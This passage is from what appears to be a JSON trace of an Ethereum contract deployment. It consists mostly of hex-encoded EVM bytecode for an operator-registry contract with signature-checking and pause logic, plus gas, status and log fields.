60a401610968565b600054604080516001600160a01b03620100009093048316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1600080546001600160a01b03909216620100000262010000600160b01b0319909216919091179055565b609d54604080516001600160a01b03928316815291831660208301527f315457d8a8fe60f04af17c16e2f5a5e1db612b31648e58030360759ef8f3528c910160405180910390a1609d80546001600160a01b0319166001600160a01b0392909216919091179055565b609e54604080516001600160a01b03928316815291831660208301527f8f30ab09f43a6c157d7fce7e0a13c003042c1c95e8a72e7a146a21c0caa24dc9910160405180910390a1609e80546001600160a01b0319166001600160a01b0392909216919091179055565b6000610ee46126786138ba565b8360405161190160f01b6020820152602281018390526042810182905260009060620160405160208183030381529060405280519060200120905092915050565b6040805180820190915260008082526020820152600080806126e96000805160206158938339815191528661542b565b90505b6126f5816139e1565b9093509150600080516020615893833981519152828309830361272e576040805180820190915290815260208101919091529392505050565b6000805160206158938339815191526001820890506126ec565b60008061275484613a63565b9050808360ff166001901b116127d25760405162461bcd60e51b815260206004820152603f60248201527f4269746d61705574696c732e6f72646572656442797465734172726179546f4260448201527f69746d61703a206269746d61702065786365656473206d61782076616c7565006064820152608401610968565b9392505050565b60ff8216600081815260976020908152604091829020845181548684018051888701805163ffffffff90951665ffffffffffff199094168417600160201b61ffff938416021767ffff0000000000001916600160301b95831695909502949094179094558551918252518316938101939093525116918101919091527f3ee6fe8d54610244c3e9d3c066ae4aee997884aa28f10616ae821925401318ac9060600160405180910390a25050565b6001600160a01b0382166000908152609960205260409020805460018083015460ff1660028111156128ba576128ba614761565b146128ef5760405162461bcd60e51b81526020600482015260056024820152646f2152656760d81b6044820152606401610968565b60965460009061290390859060ff16612748565b9050600061291083612211565b90506001600160c01b0382166129515760405162461bcd60e51b815260040161096890602080825260049082015263071456d760e41b604082015260600190565b6129686001600160c01b0383811690831681161490565b61299d5760405162461bcd60e51b81526004016109689060208082526004908201526310a9bab160e11b604082015260600190565b6001600160c01b03828116198216166129b68482613beb565b6001600160c01b038116612a855760018501805460ff191660021790556040516351b27a6d60e11b81526001600160a01b0388811660048301527f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c169063a364f4da90602401600060405180830381600087803b158015612a3657600080fd5b505af1158015612a4a573d6000803e3d6000fd5b50506040518692506001600160a01b038a1691507f396fdcb180cb0fea26928113fb0fd1c3549863f9cd563e6a184f1d578116c8e490600090a35b60405163f4e24fe560e01b81526001600160a01b037f00000000000000000000000070e0ba845a1a0f2da3359c97e0285013525ffc49169063f4e24fe590612ad3908a908a9060040161543f565b600060405180830381600087803b158015612aed57600080fd5b505af1158015612b01573d6000803e3d6000fd5b505060405163bd29b8cd60e01b81526001600160a01b037f000000000000000000000000998abeb3e57409262ae5b751f60747921b33613e16925063bd29b8cd9150612b539087908a90600401615463565b600060405180830381600087803b158015612b6d57600080fd5b505af1158015612b81573d6000803e3d6000fd5b505060405163bd29b8cd60e01b81526001600160a01b037f00000000000000000000000095401dc811bb5740090279ba06cfa8fcf611377816925063bd29b8cd9150612bd39087908a90600401615463565b600060405180830381600087803b158015612bed57600080fd5b505af1158015612c01573d6000803e3d6000fd5b5050505050505050505050565b606480546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6040516309aa152760e11b81526001600160a01b0383811660048301526000917f00000000000000000000000070e0ba845a1a0f2da3359c97e0285013525ffc49909116906313542a4e90602401602060405180830381865afa158015612ccb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612cef919061547c565b90506000819003610ee4577f00000000000000000000000070e0ba845a1a0f2da3359c97e0285013525ffc496001600160a01b031663bf79ce588484612d3487610fe9565b6040518463ffffffff1660e01b8152600401612d5293929190615495565b6020604051808303816000875af1158015612d71573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127d2919061547c565b6020808201516000908152609a909152604090205460ff1615612de35760405162461bcd60e51b815260206004820152600660248201526518da14d85b1d60d21b6044820152606401610968565b4281604001511015612e1f5760405162461bcd60e51b8152602060048201526005602482015264063684578760dc1b6044820152606401610968565b602080820180516000908152609a909252604091829020805460ff19166001179055609d54905191830151610a48926001600160a01b0390921691612e6a918891889188919061176b565b8351613dac565b612e9560405180606001604052806060815260200160608152602001606081525090565b6000612edd86868080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152505060965460ff1691506127489050565b90506000612eea88612211565b90506001600160c01b038216612f2b5760405162461bcd60e51b815260040161096890602080825260049082015263071456d760e41b604082015260600190565b8082166001600160c01b031615612f6d5760405162461bcd60e51b81526004016109689060208082526004908201526308509a5d60e21b604082015260600190565b60a0546001600160a01b038a166000908152609f60205260409020546001600160c01b0383811690851617914291612fa591906152af565b10612fda5760405162461bcd60e51b815260206004820152600560248201526410b7b822b560d91b6044820152606401610968565b612fe48982613beb565b887fec2963ab21c1e50e1e582aa542af2e4bf7bf38e6e1403c27b42e1c5d6e621eaa87604051613014919061514f565b60405180910390a260016001600160a01b038b1660009081526099602052604090206001015460ff16600281111561304e5761304e614761565b14613167576040805180820182528a8152600160208083018281526001600160a01b038f166000908152609990925293902082518155925183820180549394939192909160ff1916908360028111156130a9576130a9614761565b021790555050604051639926ee7d60e01b81526001600160a01b037f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c169150639926ee7d906130fe908d908990600401615505565b600060405180830381600087803b15801561311857600080fd5b505af115801561312c573d6000803e3d6000fd5b50506040518b92506001600160a01b038d1691507fe8e68cef1c3a761ed7be7e8463a375f27f7bc335e51824223cacce636ec5c3fe90600090a35b604051631fd93ca960e11b81526001600160a01b037f00000000000000000000000070e0ba845a1a0f2da3359c97e0285013525ffc491690633fb27952906131b7908d908c908c90600401615579565b600060405180830381600087803b1580156131d157600080fd5b505af11580156131e5573d6000803e3d6000fd5b5050604051632550477760e01b81526001600160a01b037f000000000000000000000000998abeb3e57409262ae5b751f60747921b33613e1692506325504777915061323b908d908d908d908d9060040161559e565b6000604051808303816000875af115801561325a573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052613282919081019061562e565b60408087019190915260208601919091525162bff04d60e01b81526001600160a01b037f00000000000000000000000095401dc811bb5740090279ba06cfa8fcf6113778169062bff04d906132df908c908c908c90600401615691565b6000604051808303816000875af11580156132fe573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261332691908101906156ab565b84525050509695505050505050565b6020808301516001600160a01b038082166000818152609990945260409093205491929087160361338e5760405162461bcd60e51b815260206004820152600360248201526206368360ec1b6044820152606401610968565b8760ff16846000015160ff16146133cd5760405162461bcd60e51b815260206004820152600360248201526263683160e81b6044820152606401610968565b604051635401ed2760e01b81526004810182905260ff891660248201526000907f000000000000000000000000998abeb3e57409262ae5b751f60747921b33613e6001600160a01b031690635401ed2790604401602060405180830381865afa15801561343e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906134629190615744565b905061346e8185613f66565b6001600160601b0316866001600160601b0316116134b45760405162461bcd60e51b815260206004820152600360248201526231b41960e91b6044820152606401610968565b6134be8885613f8a565b6001600160601b0316816001600160601b031610611c4c5760405162461bcd60e51b815260206004820152600360248201526263683360e81b6044820152606401610968565b600081815260986020526040812054815b8181101561358c5760016135298284615390565b6135339190615390565b92508463ffffffff16609860008681526020019081526020016000208463ffffffff1681548110613566576135666150f3565b60009182526020909120015463ffffffff1611613584575050610ee4565b600101613515565b5060405162461bcd60e51b81526020600482015260056024820152644f2152656760d81b6044820152606401610968565b60965460ff1660c081106135fc5760405162461bcd60e51b8152600401610968906020808252600490820152630e29ac2f60e31b604082015260600190565b613607816001615761565b6096805460ff191660ff929092169190911790558061362681866127d9565b60405160016296b58960e01b031981526001600160a01b037f000000000000000000000000998abeb3e57409262ae5b751f60747921b33613e169063ff694a77906136799084908890889060040161577a565b600060405180830381600087803b15801561369357600080fd5b505af11580156136a7573d6000803e3d6000fd5b505060405163136ca0f960e11b815260ff841660048201527f00000000000000000000000095401dc811bb5740090279ba06cfa8fcf61137786001600160a01b031692506326d941f29150602401600060405180830381600087803b15801561370f57600080fd5b505af1158015613723573d6000803e3d6000fd5b505060405163136ca0f960e11b815260ff841660048201527f00000000000000000000000070e0ba845a1a0f2da3359c97e0285013525ffc496001600160a01b031692506326d941f29150602401600060405180830381600087803b15801561378b57600080fd5b505af1158015611c4c573d6000803e3d6000fd5b6000546201000090046001600160a01b03161580156137c657506001600160a01b03821615155b6138485760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610968565b600181905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a261388b82612494565b5050565b6000805b8215610ee4576138a4600184615390565b90921691806138b2816157f6565b915050613893565b6000306001600160a01b037f00000000000000000000000036c02da8a0983159322a80ffe9f24b1acff8b5701614801561391357507f0000000000000000000000000000000000000000000000000000000000007a6946145b1561393d57507fd8cea607dc87be4701da97f1f02070e2cf469db0dbbbfc55a7d169f75da1f4bc90565b50604080517f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f6020808301919091527f6ec8a99f0e7f9ebde7354a446dcb9423f3af9c58f386a53c59c5b384f9e82d11828401527f6bda7e3f385e48841048390444cced5cc795af87758af67622e5f4f0882c4a9960608301524660808301523060a0808401919091528351808403909101815260c0909201909252805191012090565b60008080600080516020615893833981519152600360008051602061589383398151915286600080516020615893833981519152888909090890506000613a57827f0c19139cb84c680a6e14116da060561765e05aa45a1c72a34f082305b61f3f52600080516020615893833981519152613fa4565b91959194509092505050565b600061010082511115613aec5760405162461bcd60e51b8152602060048201526044602482018190527f4269746d61705574696c732e6f72646572656442797465734172726179546f42908201527f69746d61703a206f7264657265644279746573417272617920697320746f6f206064820152636c6f6e6760e01b608482015260a401610968565b8151600003613afd57506000919050565b60008083600081518110613b1357613b136150f3565b0160200151600160f89190911c81901b92505b8451811015613be257848181518110613b4157613b416150f3565b0160200151600160f89190911c1b9150828211613bd65760405162461bcd60e51b815260206004820152604760248201527f4269746d61705574696c732e6f72646572656442797465734172726179546f4260448201527f69746d61703a206f72646572656442797465734172726179206973206e6f74206064820152661bdc99195c995960ca1b608482015260a401610968565b91811791600101613b26565b50909392505050565b60008281526098602052604081205490819003613c93576000838152609860209081526040808320815160608101835263ffffffff43811682528185018681526001600160c01b03808a16958401958652845460018101865594885295909620915191909201805495519351909416600160401b026001600160401b03938316600160201b0267ffffffffffffffff1990961691909216179390931716919091179055505050565b6000838152609860205260408120613cac600184615390565b81548110613cbc57613cbc6150f3565b6000918252602090912001805490915063ffffffff438116911603613cfe5780546001600160401b0316600160401b6001600160c01b03851602178155610a48565b805463ffffffff438116600160201b81810267ffffffff0000000019909416939093178455600087815260986020908152604080832081516060810183529485528483018481526001600160c01b03808c1693870193845282546001810184559286529390942094519401805493519151909216600160401b026001600160401b0391861690960267ffffffffffffffff199093169390941692909217179190911691909117905550505050565b6001600160a01b0383163b15613ec657604051630b135d3f60e11b808252906001600160a01b03851690631626ba7e90613dec9086908690600401615463565b602060405180830381865afa158015613e09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613e2d9190615817565b6001600160e01b031916146115d35760405162461bcd60e51b815260206004820152605360248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a2045524331323731207369676e6174757265206064820152721d995c9a599a58d85d1a5bdb8819985a5b1959606a1b608482015260a401610968565b826001600160a01b0316613eda838361404d565b6001600160a01b0316146115d35760405162461bcd60e51b815260206004820152604760248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a207369676e6174757265206e6f742066726f6d6064820152661039b4b3b732b960c91b608482015260a401610968565b602081015160009061271090613f809061ffff1685615841565b6127d2919061586c565b604081015160009061271090613f809061ffff1685615841565b600080613faf6143b3565b613fb76143d1565b602080825281810181905260408201819052606082018890526080820187905260a082018690528260c08360056107d05a03fa92508280613ff457fe5b50826140425760405162461bcd60e51b815260206004820152601a60248201527f424e3235342e6578704d6f643a2063616c6c206661696c7572650000000000006044820152606401610968565b505195945050505050565b600080600061405c8585614069565b91509150611cfe816140d7565b600080825160410361409f5760208301516040840151606085015160001a6140938782858561428d565b945094505050506140d0565b82516040036140c857602083015160408401516140bd86838361437a565b9350935050506140d0565b506000905060025b9250929050565b60008160048111156140eb576140eb614761565b036140f35750565b600181600481111561410757614107614761565b036141545760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e617475726500000000000000006044820152606401610968565b600281600481111561416857614168614761565b036141b55760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e677468006044820152606401610968565b60038160048111156141c9576141c9614761565b036142215760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b6064820152608401610968565b600481600481111561423557614235614761565b03610d195760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b6064820152608401610968565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08311156142c45750600090506003614371565b8460ff16601b141580156142dc57508460ff16601c14155b156142ed5750600090506004614371565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa158015614341573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811661436a57600060019250925050614371565b9150600090505b94509492505050565b6000806001600160ff1b0383168161439760ff86901c601b6152af565b90506143a58782888561428d565b935093505050935093915050565b60405180602001604052806001906020820280368337509192915050565b6040518060c001604052806006906020820280368337509192915050565b60008083601f84011261440157600080fd5b5081356001600160401b0381111561441857600080fd5b6020830191508360208260051b85010111156140d057600080fd5b6000806020838503121561444657600080fd5b82356001600160401b0381111561445c57600080fd5b614468858286016143ef565b90969095509350505050565b60006020828403121561448657600080fd5b5035919050565b63ffffffff81168114610d1957600080fd5b6000806000606084860312156144b457600080fd5b8335925060208401356144c68161448d565b929592945050506040919091013590565b6001600160a01b0381168114610d1957600080fd5b80356144f7816144d7565b919050565b60006020828403121561450e57600080fd5b81356127d2816144d7565b634e487b7160e01b600052604160045260246000fd5b604051606081016001600160401b038111828210171561455157614551614519565b60405290565b604080519081016001600160401b038111828210171561455157614551614519565b604051601f8201601f191681016001600160401b03811182821017156145a1576145a1614519565b604052919050565b60006001600160401b038311156145c2576145c2614519565b6145d5601f8401601f1916602001614579565b90508281528383830111156145e957600080fd5b828260208301376000602084830101529392505050565b60006020828403121561461257600080fd5b81356001600160401b0381111561462857600080fd5b8201601f8101841361463957600080fd5b614648848235602084016145a9565b949350505050565b6000806040838503121561466357600080fd5b50508035926020909101359150565b803560ff811681146144f757600080fd5b60006020828403121561469557600080fd5b6127d282614672565b815181526020808301519082015260408101610ee4565b60008083601f8401126146c757600080fd5b5081356001600160401b038111156146de57600080fd5b6020830191508360208285010111156140d057600080fd5b6000806000806040858703121561470c57600080fd5b84356001600160401b038082111561472357600080fd5b61472f888389016143ef565b9096509450602087013591508082111561474857600080fd5b50614755878288016146b5565b95989497509550505050565b634e487b7160e01b600052602160045260246000fd5b6003811061479557634e487b7160e01b600052602160045260246000fd5b9052565b8151815260208083015160408301916147b490840182614777565b5092915050565b803561ffff811681146144f757600080fd5b6000606082840312156147df57600080fd5b6147e761452f565b905081356147f48161448d565b8152614802602083016147bb565b6020820152614813604083016147bb565b604082015292915050565b6000806080838503121561483157600080fd5b61483a83614672565b915061484984602085016147cd565b90509250929050565b60008060006040848603121561486757600080fd5b8335614872816144d7565b925060208401356001600160401b0381111561488d57600080fd5b614899868287016146b5565b9497909650939450505050565b60006001600160401b038211156148bf576148bf614519565b5060051b60200190565b6000604082840312156148db57600080fd5b6148e3614557565b90506148ee82614672565b815260208201356148fe816144d7565b602082015292915050565b600080600080600060a0868803121561492157600080fd5b853561492c816144d7565b945060208681013594506040808801356001600160401b0381111561495057600080fd5b8801601f81018a1361496157600080fd5b803561497461496f826148a6565b614579565b8082825260208201915060208360061b85010192508c83111561499657600080fd5b6020840193505b828410156149be576149af8d856148c9565b8252928401929085019061499d565b999c989b5098996060810135995060800135979650505050505050565b600061010082840312156149ee57600080fd5b50919050565b60008083601f840112614a0657600080fd5b5081356001600160401b03811115614a1d57600080fd5b6020830191508360208260061b85010111156140d057600080fd5b600060608284031215614a4a57600080fd5b614a5261452f565b905081356001600160401b03811115614a6a57600080fd5b8201601f81018413614a7b57600080fd5b614a8a848235602084016145a9565b825250602082013560208201526040820135604082015292915050565b60008060008060008060008060006101a08a8c031215614ac657600080fd5b89356001600160401b0380821115614add57600080fd5b614ae98d838e016146b5565b909b50995060208c0135915080821115614b0257600080fd5b614b0e8d838e016146b5565b9099509750879150614b238d60408e016149db565b96506101408c0135915080821115614b3a57600080fd5b614b468d838e016149f4565b90965094506101608c0135915080821115614b6057600080fd5b614b6c8d838e01614a38565b93506101808c0135915080821115614b8357600080fd5b50614b908c828d01614a38565b9150509295985092959850929598565b6000806000806000806101608789031215614bba57600080fd5b86356001600160401b0380821115614bd157600080fd5b614bdd8a838b016146b5565b90985096506020890135915080821115614bf657600080fd5b614c028a838b016146b5565b9096509450849150614c178a60408b016149db565b9350610140890135915080821115614c2e57600080fd5b50614c3b89828a01614a38565b9150509295509295509295565b60008060408385031215614c5b57600080fd5b8235614c668161448d565b91506020838101356001600160401b03811115614c8257600080fd5b8401601f81018613614c9357600080fd5b8035614ca161496f826148a6565b81815260059190911b82018301908381019088831115614cc057600080fd5b928401925b82841015614cde57833582529284019290840190614cc5565b80955050505050509250929050565b6020808252825182820181905260009190848201906040850190845b81811015614d2b57835163ffffffff1683529284019291840191600101614d09565b50909695505050505050565b60008060208385031215614d4a57600080fd5b82356001600160401b03811115614d6057600080fd5b614468858286016146b5565b6001600160601b0381168114610d1957600080fd5b600082601f830112614d9257600080fd5b81356020614da261496f836148a6565b82815260069290921b84018101918181019086841115614dc157600080fd5b8286015b84811015614e125760408189031215614dde5760008081fd5b614de6614557565b8135614df1816144d7565b815281850135614e0081614d6c565b81860152835291830191604001614dc5565b509695505050505050565b600080600060a08486031215614e3257600080fd5b614e3c85856147cd565b92506060840135614e4c81614d6c565b915060808401356001600160401b03811115614e6757600080fd5b614e7386828701614d81565b9150509250925092565b600082601f830112614e8e57600080fd5b81356020614e9e61496f836148a6565b808382526020820191506060602060608602880101945087851115614ec257600080fd5b602087015b85811015614ee657614ed989826147cd565b8452928401928101614ec7565b5090979650505050505050565b600082601f830112614f0457600080fd5b81356020614f1461496f836148a6565b8083825260208201915060208460051b870101935086841115614f3657600080fd5b602086015b84811015614e12578035614f4e81614d6c565b8352918301918301614f3b565b600082601f830112614f6c57600080fd5b81356020614f7c61496f836148a6565b82815260059290921b84018101918181019086841115614f9b57600080fd5b8286015b84811015614e125780356001600160401b03811115614fbe5760008081fd5b614fcc8986838b0101614d81565b845250918301918301614f9f565b600080600080600080600080610100898b031215614ff757600080fd5b615000896144ec565b975061500e60208a016144ec565b965061501c60408a016144ec565b955061502a60608a016144ec565b94506080890135935060a08901356001600160401b038082111561504d57600080fd5b6150598c838d01614e7d565b945060c08b013591508082111561506f57600080fd5b61507b8c838d01614ef3565b935060e08b013591508082111561509157600080fd5b5061509e8b828c01614f5b565b9150509295985092959890939650565b60208101610ee48284614777565b60208082526019908201527f5061757361626c653a20696e6465782069732070617573656400000000000000604082015260600190565b634e487b7160e01b600052603260045260246000fd5b6000815180845260005b8181101561512f57602081850181015186830182015201615113565b506000602082860101526020601f19601f83011685010191505092915050565b6020815260006127d26020830184615109565b60006020828403121561517457600080fd5b81516127d2816144d7565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b6000602082840312156151db57600080fd5b815180151581146127d257600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b6000808335601e1984360301811261524a57600080fd5b8301803591506001600160401b0382111561526457600080fd5b6020019150600581901b36038213156140d057600080fd5b60006020828403121561528e57600080fd5b81516127d28161448d565b634e487b7160e01b600052601160045260246000fd5b80820180821115610ee457610ee4615299565b600080858511156152d257600080fd5b838611156152df57600080fd5b5050820193919092039150565b600060c08201888352602060018060a01b03808a166020860152604089604087015260c0606087015283895180865260e08801915060208b01955060005b81811015615354578651805160ff168452860151851686840152958501959183019160010161532a565b505060808701989098525050505060a09091019190915250949350505050565b60006040828403121561538657600080fd5b6127d283836148c9565b81810381811115610ee457610ee4615299565b6000600182016153b5576153b5615299565b5060010190565b60018060a01b03841681528260208201526060604082015260006153e36060830184615109565b95945050505050565b6000602082840312156153fe57600080fd5b81516001600160c01b03811681146127d257600080fd5b634e487b7160e01b600052601260045260246000fd5b60008261543a5761543a615415565b500690565b6001600160a01b038316815260406020820181905260009061464890830184615109565b8281526040602082015260006146486040830184615109565b60006020828403121561548e57600080fd5b5051919050565b6001600160a01b038416815261016081016154bd602083018580358252602090810135910152565b6154d7606083016040860180358252602090810135910152565b60406080850160a0840137604060c0850160e084013782516101208301526020830151610140830152614648565b60018060a01b038316815260406020820152600082516060604084015261552f60a0840182615109565b90506020840151606084015260408401516080840152809150509392505050565b81835281816020850137506000828201602090810191909152601f909101601f19169091010190565b6001600160a01b03841681526040602082018190526000906153e39083018486615550565b60018060a01b03851681528360208201526060604082015260006117ab606083018486615550565b600082601f8301126155d757600080fd5b815160206155e761496f836148a6565b8083825260208201915060208460051b87010193508684111561560957600080fd5b602086015b84811015614e1257805161562181614d6c565b835291830191830161560e565b6000806040838503121561564157600080fd5b82516001600160401b038082111561565857600080fd5b615664868387016155c6565b9350602085015191508082111561567a57600080fd5b50615687858286016155c6565b9150509250929050565b8381526040602082015260006153e3604083018486615550565b600060208083850312156156be57600080fd5b82516001600160401b038111156156d457600080fd5b8301601f810185136156e557600080fd5b80516156f361496f826148a6565b81815260059190911b8201830190838101908783111561571257600080fd5b928401925b8284101561573957835161572a8161448d565b82529284019290840190615717565b979650505050505050565b60006020828403121561575657600080fd5b81516127d281614d6c565b60ff8181168382160190811115610ee457610ee4615299565b60006060820160ff8616835260206001600160601b03808716602086015260406060604087015283875180865260808801915060208901955060005b818110156157e657865180516001600160a01b0316845286015185168684015295850195918301916001016157b6565b50909a9950505050505050505050565b600061ffff80831681810361580d5761580d615299565b6001019392505050565b60006020828403121561582957600080fd5b81516001600160e01b0319811681146127d257600080fd5b6001600160601b0381811683821602808216919082811461586457615864615299565b505092915050565b60006001600160601b038084168061588657615886615415565b9216919091049291505056fe30644e72e131a029b85045b68181585d97816a916871ca8d3c208c16d87cfd47a26469706673582212200e3708a41147f575b52031f19707cb5ed95922585f8720c2b3f23c5c2cb16a4164736f6c63430008180033","gas_used":4582363,"gas_limit":6080195,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x00000000000000000000000000000000000000000000000000000000000000ff"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0}]}],"exit":"Return","out":"0x608060405234801561001057600080fd5b50600436106103265760003560e01c80635b0b829f116101b85780639e9923c211610104578063d72d8dd6116100a2578063e65797ad1161007c578063e65797ad1461083b578063f2fde38b146108de578063fabc1cbc146108f1578063fd39105a1461090457600080fd5b8063d72d8dd61461080d578063d75b4c8814610815578063dd8283f31461082857600080fd5b8063a96f783e116100de578063a96f783e146107aa578063c391425e146107b3578063ca0de882146107d3578063ca4f2d97146107fa57600080fd5b80639e9923c2146107495780639feab85914610770578063a50857bf1461079757600080fd5b8063715018a611610171578063886f11951161014b578063886f1195146106f65780638da5cb5b1461070f5780639aa1653d146107175780639b5d177b1461073657600080fd5b8063715018a6146106c857806384ca5213146106d0578063871ef049146106e357600080fd5b80635b0b829f146106395780635c975abb1461064c5780635df45946146106545780636347c9001461067b578063683048351461068e5780636e3b17db146106b557600080fd5b8063249a0c42116102775780633998fdd3116102305780635140a5481161020a5780635140a548146105df5780635865c60c146105f2578063595c6a67146106125780635ac86ab71461061a57600080fd5b80633998fdd31461056c5780633af32abf146105935780633c2a7f4c146105bf57600080fd5b8063249a0c42146104ed57806328f61b311461050d57806329092d0e14610520578063296bb0641461053357806329d1e0c3146105465780632cdd1e861461055957600080fd5b80630d3f2134116102e457806313542a4e116102be57806313542a4e14610435578063136439dd1461045e5780631478851f146104715780631eb812da146104a457600080fd5b80630d3f2134146103ef57806310d67a2f14610402578063125e05841461041557600080fd5b8062cf2ab51461032b57806303fd34921461034057806304ec635114610373578063054310e61461039e5780630a3b0a4f146103c95780630cf4b767146103dc575b600080fd5b61033e610339366004614433565b610940565b005b61036061034e366004614474565b60009081526098602052604090205490565b6040519081526020015b60405180910390f35b61038661038136600461449f565b610a4e565b6040516001600160c01b03909116815260200161036a565b609d546103b1906001600160a01b031681565b6040516001600160a01b03909116815260200161036a565b61033e6103d73660046144fc565b610b5e565b61033e6103ea366004614600565b610bb2565b61033e6103fd366004614474565b610c5c565b61033e6104103660046144fc565b610c69565b6103606104233660046144fc565b609f6020526000908152604090205481565b6103606104433660046144fc565b6001600160a01b031660009081526099602052604090205490565b61033e61046c366004614474565b610d1c565b61049461047f366004614474565b609a6020526000908152604090205460ff1681565b604051901515815260200161036a565b6104b76104b2366004614650565b610e59565b60408051825163ffffffff908116825260208085015190911690820152918101516001600160c01b03169082015260600161036a565b6103606104fb366004614683565b609b6020526000908152604090205481565b609e546103b1906001600160a01b031681565b61033e61052e3660046144fc565b610eea565b6103b1610541366004614474565b610f3b565b61033e6105543660046144fc565b610fc7565b61033e6105673660046144fc565b610fd8565b6103b17f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c81565b6104946105a13660046144fc565b6001600160a01b0316600090815260c8602052604090205460ff1690565b6105d26105cd3660046144fc565b610fe9565b60405161036a919061469e565b61033e6105ed3660046146f6565b611068565b6106056106003660046144fc565b61143e565b60405161036a9190614799565b61033e6114b2565b610494610628366004614683565b6001805460ff9092161b9081161490565b61033e61064736600461481e565b61157e565b600154610360565b6103b17f00000000000000000000000070e0ba845a1a0f2da3359c97e0285013525ffc4981565b6103b1610689366004614474565b6115d8565b6103b17f000000000000000000000000998abeb3e57409262ae5b751f60747921b33613e81565b61033e6106c3366004614852565b611602565b61033e611757565b6103606106de366004614909565b61176b565b6103866106f1366004614474565b6117b5565b6000546103b1906201000090046001600160a01b031681565b6103b16117c0565b6096546107249060ff1681565b60405160ff909116815260200161036a565b61033e610744366004614aa7565b6117d9565b6103b17f00000000000000000000000095401dc811bb5740090279ba06cfa8fcf611377881565b6103607f2bd82124057f0913bc3b772ce7b83e8057c1ad1f3510fc83778be20f10ec5de681565b61033e6107a5366004614ba0565b611af2565b61036060a05481565b6107c66107c1366004614c48565b611c57565b60405161036a9190614ced565b6103607f4d404e3276e7ac2163d8ee476afa6a41d1f68fb71f2d8b6546b24e55ce01b72a81565b61033e610808366004614d37565b611d06565b609c54610360565b61033e610823366004614e1d565b611d6c565b61033e610836366004614fda565b611d7f565b6108aa610849366004614683565b60408051606080820183526000808352602080840182905292840181905260ff9490941684526097825292829020825193840183525463ffffffff8116845261ffff600160201b8204811692850192909252600160301b9004169082015290565b60408051825163ffffffff16815260208084015161ffff90811691830191909152928201519092169082015260600161036a565b61033e6108ec3660046144fc565b61203f565b61033e6108ff366004614474565b6120b5565b6109336109123660046144fc565b6001600160a01b031660009081526099602052604090206001015460ff1690565b60405161036a91906150ae565b6001546002906004908116036109715760405162461bcd60e51b8152600401610968906150bc565b60405180910390fd5b60005b82811015610a48576000848483818110610990576109906150f3565b90506020020160208101906109a591906144fc565b6001600160a01b03811660009081526099602090815260408083208151808301909252805482526001810154949550929390929183019060ff1660028111156109f0576109f0614761565b6002811115610a0157610a01614761565b90525080519091506000610a1482612211565b90506000610a2a826001600160c01b031661227c565b9050610a37858583612348565b505060019093019250610974915050565b50505050565b6000838152609860205260408120805482919084908110610a7157610a716150f3565b600091825260209182902060408051606081018252929091015463ffffffff808216808552600160201b8304821695850195909552600160401b9091046001600160c01b03169183019190915290925085161015610af75760405162461bcd60e51b8152602060048201526003602482015262189b8f60ea1b6044820152606401610968565b602081015163ffffffff161580610b1d5750806020015163ffffffff168463ffffffff16105b610b525760405162461bcd60e51b81526004016109689060208082526004908201526331371e1960e11b604082015260600190565b60400151949350505050565b610b66612435565b6001600160a01b038116600081815260c86020526040808220805460ff19166001179055517f8a3be376fdc726be3f3cee8e59ba5698a268a9b59f69cdabcf06d2ec2c90658f9190a250565b60013360009081526099602052604090206001015460ff166002811115610bdb57610bdb614761565b14610c105760405162461bcd60e51b81526020600482015260056024820152646f2152656760d81b6044820152606401610968565b33600090815260996020526040908190205490517fec2963ab21c1e50e1e582aa542af2e4bf7bf38e6e1403c27b42e1c5d6e621eaa90610c5190849061514f565b60405180910390a250565b610c64612435565b60a055565b600060029054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cbc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ce09190615162565b6001600160a01b0316336001600160a01b031614610d105760405162461bcd60e51b81526004016109689061517f565b610d1981612494565b50565b60005460405163237dfb4760e11b8152336004820152620100009091046001600160a01b0316906346fbf68e90602401602060405180830381865afa158015610d69573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d8d91906151c9565b610da95760405162461bcd60e51b8152600401610968906151eb5